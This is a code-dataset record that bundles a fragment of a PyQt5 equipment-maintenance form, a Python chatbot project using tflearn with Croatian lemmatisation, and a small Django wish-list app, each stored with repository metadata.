PyQt5.QtWidgets import *\nfrom UI.Mainten import *\n\nclass Ui_Maintenance(object):\n def setupUi(self, Maintenance):\n Maintenance.setObjectName(\"Maintenance\")\n Maintenance.resize(800, 600)\n self.groupBox = QtWidgets.QGroupBox(Maintenance)\n self.groupBox.setGeometry(QtCore.QRect(10, 20, 771, 171))\n self.groupBox.setObjectName(\"groupBox\")\n self.lineEdit1 = QtWidgets.QLineEdit(self.groupBox)\n self.lineEdit1.setGeometry(QtCore.QRect(90, 40, 113, 30))\n self.lineEdit1.setObjectName(\"lineEdit1\")\n self.label = QtWidgets.QLabel(self.groupBox)\n self.label.setGeometry(QtCore.QRect(30, 50, 54, 12))\n self.label.setObjectName(\"label\")\n self.pushButton = QtWidgets.QPushButton(self.groupBox)\n self.pushButton.setGeometry(QtCore.QRect(80, 110, 75, 23))\n self.pushButton.setObjectName(\"pushButton\")\n self.label_2 = QtWidgets.QLabel(self.groupBox)\n self.label_2.setGeometry(QtCore.QRect(370, 40, 54, 12))\n self.label_2.setObjectName(\"label_2\")\n self.label_3 = QtWidgets.QLabel(self.groupBox)\n self.label_3.setGeometry(QtCore.QRect(370, 80, 54, 12))\n self.label_3.setObjectName(\"label_3\")\n self.label_4 = QtWidgets.QLabel(self.groupBox)\n self.label_4.setGeometry(QtCore.QRect(370, 120, 54, 12))\n self.label_4.setObjectName(\"label_4\")\n self.label_10 = QtWidgets.QLabel(self.groupBox)\n self.label_10.setGeometry(QtCore.QRect(450, 40, 80, 12))\n self.label_10.setObjectName(\"label_10\")\n self.label_11 = QtWidgets.QLabel(self.groupBox)\n self.label_11.setGeometry(QtCore.QRect(450, 80, 80, 12))\n self.label_11.setObjectName(\"label_11\")\n self.label_12 = QtWidgets.QLabel(self.groupBox)\n self.label_12.setGeometry(QtCore.QRect(450, 120, 250, 12))\n self.label_12.setObjectName(\"label_12\")\n self.groupBox_2 = QtWidgets.QGroupBox(Maintenance)\n self.groupBox_2.setGeometry(QtCore.QRect(10, 210, 771, 301))\n self.groupBox_2.setObjectName(\"groupBox_2\")\n self.comboBox = QtWidgets.QComboBox(self.groupBox_2)\n self.comboBox.setGeometry(QtCore.QRect(110, 60, 120, 22))\n self.comboBox.setObjectName(\"comboBox\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.label_5 = QtWidgets.QLabel(self.groupBox_2)\n self.label_5.setGeometry(QtCore.QRect(40, 70, 54, 12))\n self.label_5.setObjectName(\"label_5\")\n self.label_6 = QtWidgets.QLabel(self.groupBox_2)\n self.label_6.setGeometry(QtCore.QRect(40, 120, 54, 12))\n self.label_6.setObjectName(\"label_6\")\n self.label_7 = QtWidgets.QLabel(self.groupBox_2)\n self.label_7.setGeometry(QtCore.QRect(40, 220, 54, 12))\n self.label_7.setObjectName(\"label_7\")\n self.label_8 = QtWidgets.QLabel(self.groupBox_2)\n self.label_8.setGeometry(QtCore.QRect(40, 170, 54, 12))\n self.label_8.setObjectName(\"label_8\")\n self.label_9 = QtWidgets.QLabel(self.groupBox_2)\n self.label_9.setGeometry(QtCore.QRect(270, 140, 54, 12))\n self.label_9.setObjectName(\"label_9\")\n self.textEdit = QtWidgets.QTextEdit(self.groupBox_2)\n self.textEdit.setGeometry(QtCore.QRect(340, 30, 411, 241))\n self.textEdit.setObjectName(\"textEdit\")\n self.lineEdit2 = QtWidgets.QLineEdit(self.groupBox_2)\n self.lineEdit2.setGeometry(QtCore.QRect(110, 110, 113, 30))\n self.lineEdit2.setObjectName(\"lineEdit2\")\n self.lineEdit3 = QtWidgets.QLineEdit(self.groupBox_2)\n self.lineEdit3.setGeometry(QtCore.QRect(110, 160, 113, 30))\n self.lineEdit3.setObjectName(\"lineEdit3\")\n self.lineEdit4 = QtWidgets.QLineEdit(self.groupBox_2)\n self.lineEdit4.setGeometry(QtCore.QRect(110, 210, 113, 30))\n self.lineEdit4.setObjectName(\"lineEdit4\")\n self.comboBox.raise_()\n self.label_5.raise_()\n self.label_6.raise_()\n self.label_7.raise_()\n self.label_8.raise_()\n self.label_9.raise_()\n self.textEdit.raise_()\n self.lineEdit2.raise_()\n self.lineEdit3.raise_()\n self.lineEdit4.raise_()\n self.groupBox.raise_()\n self.pushButton_2 = QtWidgets.QPushButton(Maintenance)\n self.pushButton_2.setGeometry(QtCore.QRect(260, 540, 75, 23))\n self.pushButton_2.setObjectName(\"pushButton_2\")\n self.pushButton_3 = QtWidgets.QPushButton(Maintenance)\n self.pushButton_3.setGeometry(QtCore.QRect(400, 540, 75, 23))\n self.pushButton_3.setObjectName(\"pushButton_3\")\n\n #self.comboBox.currentIndexChanged.connect(self.getNameList)\n #self.listView.clicked.connect(self.getOfficerDetail)\n self.pushButton.clicked.connect(self.getSearchResult)\n self.pushButton_3.clicked.connect(self.close)\n\n self.retranslateUi(Maintenance)\n QtCore.QMetaObject.connectSlotsByName(Maintenance)\n\n def retranslateUi(self, Maintenance):\n _translate = QtCore.QCoreApplication.translate\n Maintenance.setWindowTitle(_translate(\"Maintenance\", \"Form\"))\n self.groupBox.setTitle(_translate(\"Maintenance\", \"站点信息\"))\n self.label.setText(_translate(\"Maintenance\", \"站点号:\"))\n self.pushButton.setText(_translate(\"Maintenance\", \"查询\"))\n self.label_2.setText(_translate(\"Maintenance\", \"专管员:\"))\n self.label_3.setText(_translate(\"Maintenance\", \"手机号:\"))\n self.label_4.setText(_translate(\"Maintenance\", \"网点地址:\"))\n self.label_10.setText(_translate(\"Maintenance\", \"\"))\n self.label_11.setText(_translate(\"Maintenance\", \"\"))\n self.label_12.setText(_translate(\"Maintenance\", \"\"))\n self.groupBox_2.setTitle(_translate(\"Maintenance\", \"报修设备\"))\n self.comboBox.setItemText(0, _translate(\"Maintenance\", \"请选择\"))\n self.comboBox.setItemText(1, _translate(\"Maintenance\", \"TPT-IU\"))\n self.comboBox.setItemText(2, _translate(\"Maintenance\", \"CP8608\"))\n self.comboBox.setItemText(3, _translate(\"Maintenance\", \"CP8609\"))\n self.comboBox.setItemText(4, _translate(\"Maintenance\", \"TPT-II-61-06\"))\n self.comboBox.setItemText(5, _translate(\"Maintenance\", \"TPT-II-61-01\"))\n self.comboBox.setItemText(6, _translate(\"Maintenance\", \"其它\"))\n self.label_5.setText(_translate(\"Maintenance\", \"设备型号:\"))\n self.label_6.setText(_translate(\"Maintenance\", \"设备编号:\"))\n self.label_7.setText(_translate(\"Maintenance\", \"联系号码:\"))\n self.label_8.setText(_translate(\"Maintenance\", \"联系人:\"))\n self.label_9.setText(_translate(\"Maintenance\", \"问题描述:\"))\n self.pushButton_2.setText(_translate(\"Maintenance\", \"提交\"))\n self.pushButton_3.setText(_translate(\"Maintenance\", \"取消\"))\n\n def getSearchResult(self):\n num = self.lineEdit1.text()\n ss = Mainten(num)\n na = []\n na = ss.getNameandAddress()\n if (na != []):\n cc = ss.getTelNum(na[0])\n print(ss.getTelNum(na[0]))\n self.label_10.setText(na[0])\n self.label_12.setText(na[1])\n self.label_11.setText(cc)\n else:\n print(\"站点号有误\")\n print(na)\n" } ]
12
Enzzza/python-chatbot
https://github.com/Enzzza/python-chatbot
bc9f0725b8b51838423c49f03be663c63992d7b0
1b4f91aec880a4bb235d4abdbaecaca58c02f4ca
68def89973c5b5bdc4b2833e9ab4feed38bf69c8
refs/heads/master
2023-08-27T19:51:06.709846
2021-11-12T17:15:49
2021-11-12T17:15:49
426,422,289
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6076123118400574, "alphanum_fraction": 0.6199725270271301, "avg_line_length": 24.873096466064453, "blob_id": "8e684368a7dac93bd70fe5d899cb408bcb5cfb99", "content_id": "fdb4146a68df2bdc9865eaa9655f761e212fc23e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5097, "license_type": "no_license", "max_line_length": 195, "num_lines": 197, "path": "/README.md", "repo_name": "Enzzza/python-chatbot", "src_encoding": "UTF-8", "text": "<img src=\"https://raw.githubusercontent.com/Enzzza/law-scraper/master/media/IEEE.jpg\" data-canonical-src=\"https://raw.githubusercontent.com/Enzzza/law-scraper/master/media/IEEE.jpg\" width=\"600\"/>\n\n<br>\n<br>\n\n# This code is made for purpose of program IEEE Innovation Nation\n\n## Training NLP model for local languages\n\n<p>With this code we will train our NLP model using local lanugages. To be able to train our model we need to clean text and tokenize it and use lemmatization technique.</p>\n\n```python\nimport nlzn\nimport numpy\nimport tflearn\nimport tensorflow\nimport random\nimport json\nimport pickle\nimport os\n\nwith open(\"intents.json\",encoding=\"utf8\") as file:\n data = json.load(file)\n\ntry:\n with open(\"data.pickle\", \"rb\") as f:\n words, labels, training, output = pickle.load(f)\nexcept:\n words = []\n labels = []\n docs_x = []\n docs_y = []\n\n for intent in data[\"intents\"]:\n for pattern in intent[\"patterns\"]:\n wrds = nlzn.word_tokenize(pattern)\n words.extend(wrds)\n docs_x.append(wrds)\n docs_y.append(intent[\"tag\"])\n\n if intent[\"tag\"] not in labels:\n labels.append(intent[\"tag\"])\n\n words = sorted(list(set(words)))\n labels = sorted(labels)\n\n training = []\n output = []\n\n out_empty = [0 for _ in range(len(labels))]\n\n for x, doc in enumerate(docs_x):\n bag = []\n\n for w in words:\n if w in doc:\n bag.append(1)\n else:\n bag.append(0)\n\n output_row = out_empty[:]\n output_row[labels.index(docs_y[x])] = 1\n\n training.append(bag)\n output.append(output_row)\n\n\n training = numpy.array(training)\n output = numpy.array(output)\n\n with open(\"data.pickle\", \"wb\") as f:\n pickle.dump((words, labels, training, output), f)\n\ntensorflow.compat.v1.reset_default_graph()\n\nnet = tflearn.input_data(shape=[None, len(training[0])])\nnet = tflearn.fully_connected(net, 8)\nnet = tflearn.fully_connected(net, 8)\nnet = tflearn.fully_connected(net, len(output[0]), activation=\"softmax\")\nnet = tflearn.regression(net)\n\nmodel = tflearn.DNN(net)\nmodel.fit(training, output, n_epoch=1000, batch_size=8, show_metric=True)\nmodel.save(\"model.tflearn\")\ntry:\n model.load(\"model.tflearn\")\nexcept:\n model.fit(training, output, n_epoch=1000, batch_size=8, show_metric=True)\n model.save(\"model.tflearn\")\n\ndef bag_of_words(s, words):\n bag = [0 for _ in range(len(words))]\n s_words = nlzn.word_tokenize(s)\n\n for se in s_words:\n for i, w in enumerate(words):\n if w == se:\n bag[i] = 1\n\n return numpy.array(bag)\n\n\ndef chat():\n print(\"Start talking with the bot!\")\n while True:\n inp = input(\"You: \")\n if inp.lower() == \"quit\":\n break\n\n results = model.predict([bag_of_words(inp,words)])[0]\n results_index = numpy.argmax(results)\n tag = labels[results_index]\n\n if results[results_index] > 0.7:\n\n for tg in data[\"intents\"]:\n if tg['tag'] == tag:\n responses = tg[\"responses\"]\n\n print(random.choice(responses))\n else:\n print(\"I didn't get that, try again!\")\n\n\nchat()\n\n\n```\n\n<p>\nFunction for tokenization and lemmezation is shown bellow\n</p>\n\n```python\n\"\"\"\n@inproceedings{ljubesic-dobrovoljc-2019-neural,\n title = \"What does Neural Bring? Analysing Improvements in Morphosyntactic Annotation and Lemmatisation of {S}lovenian, {C}roatian and {S}erbian\",\n author = \"Ljube{\\v{s}}i{\\'c}, Nikola and\n Dobrovoljc, Kaja\",\n booktitle = \"Proceedings of the 7th Workshop on Balto-Slavic Natural Language Processing\",\n month = aug,\n year = \"2019\",\n address = \"Florence, Italy\",\n publisher = \"Association for Computational Linguistics\",\n url = \"https://www.aclweb.org/anthology/W19-3704\",\n doi = \"10.18653/v1/W19-3704\",\n pages = \"29--34\"\n }\n\"\"\"\nfrom bs4 import BeautifulSoup\nimport string\nimport re\nimport classla\nfrom conllu import parse\nimport ast\n\nclassla.download(lang='hr')\nnlp = classla.Pipeline('hr', processors='tokenize,lemma')\n\ndef word_tokenize(text):\n\n text = clean_text(text)\n doc = nlp(text)\n tokenlist = parse(doc.to_conll())\n return tokenlist_to_list(tokenlist)\n\ndef tokenlist_to_list(tokenlist):\n str_token_list = []\n for i in range(len(tokenlist)):\n for j in range(len(tokenlist[i])):\n token = tokenlist[i][j]\n str_token = repr(token)\n str_token_dict = ast.literal_eval(str_token)\n str_token_list.append(str_token_dict['lemma'])\n\n return str_token_list\n\ndef clean_text(text):\n # remove html tags\n text = BeautifulSoup(text, 'html.parser').get_text()\n\n # remove special characters and numbers\n pattern = r'[!=\\-;:/+,*)@#%(&$_?.^]'\n text = re.sub(pattern, ' ', text)\n\n # remove backlash\n text.replace(\"\\\\\", \"\")\n\n # remove extra white spaces and tabs\n pattern = r'^\\s*|\\s\\s*'\n text = re.sub(pattern, ' ', text).strip()\n\n return text\n\n```\n\n[Demo](https://www.youtube.com/watch?v=HhkL_ToW4Ns)\n" }, { "alpha_fraction": 0.5980834364891052, "alphanum_fraction": 0.6172491312026978, "avg_line_length": 28.67796516418457, "blob_id": "9551a49a260be39382eda1a9b0c33d1ecbd612ee", "content_id": "8b15e784868ee4faaea5a4f9166386aeec7088e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1774, "license_type": "no_license", "max_line_length": 150, "num_lines": 59, "path": "/proof_of_concept/nlzn.py", "repo_name": "Enzzza/python-chatbot", "src_encoding": "UTF-8", "text": "\"\"\"\n@inproceedings{ljubesic-dobrovoljc-2019-neural,\n title = \"What does Neural Bring? Analysing Improvements in Morphosyntactic Annotation and Lemmatisation of {S}lovenian, {C}roatian and {S}erbian\",\n author = \"Ljube{\\v{s}}i{\\'c}, Nikola and\n Dobrovoljc, Kaja\",\n booktitle = \"Proceedings of the 7th Workshop on Balto-Slavic Natural Language Processing\",\n month = aug,\n year = \"2019\",\n address = \"Florence, Italy\",\n publisher = \"Association for Computational Linguistics\",\n url = \"https://www.aclweb.org/anthology/W19-3704\",\n doi = \"10.18653/v1/W19-3704\",\n pages = \"29--34\"\n }\n\"\"\"\nfrom bs4 import BeautifulSoup\nimport string\nimport re\nimport classla\nfrom conllu import parse\nimport ast\n\nclassla.download(lang='hr')\nnlp = classla.Pipeline('hr', processors='tokenize,lemma')\n\ndef word_tokenize(text):\n \n text = clean_text(text)\n doc = nlp(text)\n tokenlist = parse(doc.to_conll())\n return tokenlist_to_list(tokenlist)\n\ndef tokenlist_to_list(tokenlist):\n str_token_list = []\n for i in range(len(tokenlist)):\n for j in range(len(tokenlist[i])):\n token = tokenlist[i][j]\n str_token = repr(token)\n str_token_dict = ast.literal_eval(str_token)\n str_token_list.append(str_token_dict['lemma'])\n \n return str_token_list\n\ndef clean_text(text):\n # remove html tags\n text = BeautifulSoup(text, 'html.parser').get_text()\n \n # remove special characters and numbers\n pattern = r'[!=\\-;:/+,*)@#%(&$_?.^]'\n text = re.sub(pattern, ' ', text)\n \n # remove backlash\n text.replace(\"\\\\\", \"\")\n \n # remove extra white spaces and tabs\n pattern = r'^\\s*|\\s\\s*'\n text = re.sub(pattern, ' ', text).strip()\n \n return text\n \n \n \n " }, { "alpha_fraction": 0.5946398377418518, "alphanum_fraction": 0.5954774022102356, "avg_line_length": 24.7608699798584, "blob_id": "9b1a823d70e721410cf61fc061df8c34ad46e8fe", "content_id": "a45d7d56772f8764814e64ff7ff9d8f78bb48a00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1194, "license_type": "no_license", "max_line_length": 65, "num_lines": 46, "path": "/generate_model/src/nlzn.py", "repo_name": "Enzzza/python-chatbot", "src_encoding": "UTF-8", "text": "from bs4 import BeautifulSoup\nimport re\nimport classla\nfrom conllu import parse\nimport ast\n\nnlp = None\n\ndef word_tokenize(text):\n \n text = clean_text(text)\n doc = nlp(text)\n tokenlist = parse(doc.to_conll())\n return tokenlist_to_list(tokenlist)\n\ndef tokenlist_to_list(tokenlist):\n str_token_list = []\n for i in range(len(tokenlist)):\n for j in range(len(tokenlist[i])):\n token = tokenlist[i][j]\n str_token = repr(token)\n str_token_dict = ast.literal_eval(str_token)\n str_token_list.append(str_token_dict['lemma'])\n \n return str_token_list\n\ndef clean_text(text):\n # remove html tags\n text = BeautifulSoup(text, 'html.parser').get_text()\n \n # remove special characters and numbers\n pattern = r'[!=\\-;:/+,*)@#%(&$_?.^]'\n text = re.sub(pattern, ' ', text)\n \n # remove backlash\n text.replace(\"\\\\\", \"\")\n \n # remove extra white spaces and tabs\n pattern = r'^\\s*|\\s\\s*'\n text = re.sub(pattern, ' ', text).strip()\n \n return text\n \ndef setup(language):\n classla.download(lang=language)\n nlp = classla.Pipeline(language, processors='tokenize,lemma')\n \n " } ]
3
movlan/project_3_assessment
https://github.com/movlan/project_3_assessment
82ee0951109d0066a36f2359154cd10baa250ce4
a0baa0a62345a1858d7e431a1cab2f692123b0cb
8050cb1bc927943d0afcad3f8a5b34dc20766187
refs/heads/master
2021-05-17T03:34:36.819914
2020-03-27T19:08:06
2020-03-27T19:08:06
250,601,510
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6831682920455933, "alphanum_fraction": 0.698019802570343, "avg_line_length": 21.44444465637207, "blob_id": "020c2715f69554e8dc972817ae64a9b524e13ae8", "content_id": "27bf09c2589f96e9d62dfdc3e7327ff7cfe1c791", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 202, "license_type": "no_license", "max_line_length": 43, "num_lines": 9, "path": "/wish_list/models.py", "repo_name": "movlan/project_3_assessment", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.urls import reverse\n\n\nclass Wish(models.Model):\n text = models.TextField(max_length=200)\n \n def get_absolute_url(self):\n return reverse('index')\n" }, { "alpha_fraction": 0.49130433797836304, "alphanum_fraction": 0.532608687877655, "avg_line_length": 19.909090042114258, "blob_id": "6a6fe64dd4cfaefdd58c007a25deb76c7e89a883", "content_id": "386a7274f0949f9e7753930f281d040a03dcec21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 460, "license_type": "no_license", "max_line_length": 47, "num_lines": 22, "path": "/wish_list/migrations/0002_auto_20200327_1818.py", "repo_name": "movlan/project_3_assessment", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.4 on 2020-03-27 18:18\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('wish_list', '0001_initial'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='wish',\n old_name='question_text',\n new_name='text',\n ),\n migrations.RemoveField(\n model_name='wish',\n name='pub_date',\n ),\n ]\n" }, { "alpha_fraction": 0.7046632170677185, "alphanum_fraction": 0.7046632170677185, "avg_line_length": 24.799999237060547, "blob_id": "d78d61a5ab147579400893a416145f6eabc14ca4", "content_id": "c5908865d2a4efd371238113fcf428e24578ad3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 386, "license_type": "no_license", "max_line_length": 68, "num_lines": 15, "path": "/wish_list/views.py", "repo_name": "movlan/project_3_assessment", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.views.generic.edit import CreateView, DeleteView\nfrom .models import Wish\n\nclass WishCreate(CreateView):\n model = Wish\n fields = ['text']\n\nclass WishDelete(DeleteView):\n model = Wish\n success_url = '/'\n\ndef index(request):\n item_list = Wish.objects.all()\n return render(request, 'index.html', { 'item_list': item_list,})" }, { "alpha_fraction": 0.8023256063461304, "alphanum_fraction": 0.8023256063461304, "avg_line_length": 16.200000762939453, "blob_id": "b3b8a68cdf5276494b6b0951ac819b4a89e0c98a", "content_id": "589c631bf4fffdf55147eddab8f9e50b37e2a6a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 86, "license_type": "no_license", "max_line_length": 32, "num_lines": 5, "path": "/wish_list/admin.py", "repo_name": "movlan/project_3_assessment", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Wish\n\n\nadmin.site.register(Wish)\n" }, { "alpha_fraction": 0.6443514823913574, "alphanum_fraction": 0.6443514823913574, "avg_line_length": 28.875, "blob_id": "9504d78d7497c7cf002b4f79452b9ea41cae4316", "content_id": "5f952ea5e635f66e489ac26b8d5143e05a789267", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 239, "license_type": "no_license", "max_line_length": 71, "num_lines": 8, "path": "/wish_list/urls.py", "repo_name": "movlan/project_3_assessment", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('add/', views.WishCreate.as_view(), name='add'),\n path('delete/<int:pk>', views.WishDelete.as_view(), name='delete'),\n]\n" } ]
5